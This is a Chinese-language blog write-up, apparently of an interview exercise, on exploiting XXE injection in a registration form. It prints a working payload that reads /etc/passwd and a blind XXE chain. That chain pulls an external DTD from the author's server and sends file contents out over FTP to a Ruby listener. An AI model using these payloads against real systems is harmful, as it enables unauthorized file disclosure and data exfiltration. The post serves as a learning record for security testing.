一次XXE注入

前情提要

一个面试题,平时没研究过xxe,坑太多,光环境就鼓捣了一天多,记录一下

开始

一次XXE注入

一个简单的注册页面,注册完了也没别的啥页面,那就抓个包吧。

一次XXE注入

(不要在意截图信息不一致)

发现通过xml发送数据,自然想到xml注入,只有所耳闻,注定悲惨的结局。

废话不多说。

判断xml注入

一次XXE注入

xml是一种类似HTML但比HTML严格一些的语言(多了也不知道)

比如上图我在姓名处输入</name><name>不会报错,输入<name>就会报错,因为xml的标签必须成对出现。

一次XXE注入

利用

一次XXE注入

可以读文件

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>

<reg><name>&f;</name><tel>beddb</tel><email>&f;</email></reg>

file:///etc/passwd是要读取的文件路径,底下&f;应该是回显位置(纯属猜测),反正百度测试半天是一点反应没有,尝试xxe盲注。

Blind XXE

继续一次XXE注入

准备阶段

云服务器

我选的是腾讯云主机,便宜,千万不要直接用自带的终端连接,没反应(也可能我人品不好)

xshell

  • xshell登陆云主机,我的是ubuntu

  • 环境准备,安装ruby

sudo apt-get install ruby
ruby -v  		                                 // 出现版本号证明安装成功

安装脚本一会用

git clone https://github.com/ONsec-Lab/scripts.git

新建一个xml.dtd文件(这些都直接在根目录整就完事儿)

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'ftp://云主机ip:2121/%file;'>">
%all;

一次XXE注入

开干

burpsuite抓包,修改

一次XXE注入

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://你的ip:端口/xml.dtd">
%dtd;
%send;
]>

<reg><name>svez</name><tel>vse</tel><email>vsesdse</email></reg>

这里因为我们的云主机还不能访问,使用以下命令一键开启监听8080端口

HTTP_PORT=8080 && python3 -m http.server $HTTP_PORT || python -m simpleHTTPServer $HTTP_PORT

一次XXE注入

xshell新建一个窗口(当然也是连接这个云服务器)

刚才我们安装了一个脚本,进入这个目录

cd scripts
ruby xxe-ftp-server.rb 

一次XXE注入

这时,打开bp,Go!Go!Go!发送请求

这时右边是没有响应的,别慌

一次XXE注入

xshell已经返回了数据

一次XXE注入

随便读取数据,更改路径就行

一次XXE注入

一次XXE注入

过程

bp语句<!ENTITY % dtd SYSTEM "http://你的ip:端口/xml.dtd">--->访问云主机的dtd文档(顺便告诉访问哪个文件)-->dtd文档将请求?转发到2121端口--->监听脚本读取数据

我已经凌乱了,就这样吧

上一篇:Ruby 日期 & 时间(Date & Time)


下一篇:Ruby 块